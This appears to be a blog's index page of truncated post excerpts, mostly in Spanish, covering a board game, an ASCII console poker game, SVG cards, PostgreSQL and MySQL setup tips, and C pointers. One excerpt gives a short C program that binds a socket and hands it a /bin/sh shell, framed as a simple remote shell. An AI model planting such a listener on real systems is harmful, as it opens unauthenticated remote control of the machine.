The Three Towers

A fast game for 2 players.(En español)
Middle age. War is coming to the city pamplona. The growing tension between burgs had pushed them to build a defense. But there is not enough stone available to stand it. Be the first to build three towers and victory will be yours.
Components:...
Bueno, pues el caso es que echaba de menos un juego de poker para consola, y teniendo en cuenta que en el juego de caracteres extendidos ASCII tenemos los símbolos de la baraja, y que podemos alterar los colores, pues... vaya! ¡si es que está a huevo!
Seguramente ya existe alguna versión por ahí de hace 30 años pero también se trata de saber sacar esto por uno mismo. De momento ha sido interesante...
Un buen día estaba con un amiguete en un bar, y tras meternos unas patatas bravas se nos fue el riego al estomago y surgió la idea de un sistema de ranking llamado edansornot. Dicho y hecho: edansornot.com ya es una realidad y su código fuente...
This is a first version of a set of poker cards in scalar vector graphics format. It's made using Inkscape with scanned figures for the Jacks, Queens and Kings.
Resulta que el postgres no funciona solito en el lenny y hay que hacer algún apaño después del apt-get.
Bueno esta es una solución, la primera parte con una explicación encontrada en internet de la mano de Alvarus, pero no bastaba.
gandalf:~# mkdir -p /var/pgsql gandalf:~# mkdir -p /var/pgsql/data gandalf:~# chown postgres /var/pgsql/data gandalf:~# su - postgres postgres@gandalf:~$ /usr/lib/postgresql/8.3/bin/initdb...
Supongo que habrá formas mejores de hacerlo o incluso herramientas concretas. El caso es que se pueden pasar las tablas de access a Mysql de forma sencilla de dos maneras
Usando el odbc
Se puede hacer todo desde windows.
- Instalamos el appserv que ya trae el apache+mysql+php+phpmyadmin.
- Instalamos el ODBC para mysql.Â
- Creamos una BBDD mysql a través de phpmyadmin
- Metemos una entrada en el gestor de odbc para la nueva BBDD...
En linux usando sockets y la llamada dup se puede crear una especie de shell remoto de forma muy sencilla,
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
int main () {
int sock,canal;
struct sockaddr_in dir_servidor;
dir_servidor.sin_family=2;
dir_servidor.sin_addr.s_addr=0;
dir_servidor.sin_port=0x1337;
sock=socket(2,1,0);
bind(sock,(struct sockaddr *) &dir_servidor,0x10);
listen(sock,1);
canal = accept(sock,0,0);
dup2(canal,0);
dup2(canal,1);
execve("/bin/sh",0,0);
}
...
Un puntero es una variable que en un lugar de contener un valor
contiene la dirección de una variable. Se pueden crear punteros
a todos los tipos de variables y la
sintaxis de su declaración es casí como la de las
variables normales, salvo que se añade el símbolo *.
Veamos una variable int normal y un puntero llamado p:
int numero;
int *p;
numero = 31337;
p = 666;
Si representamos...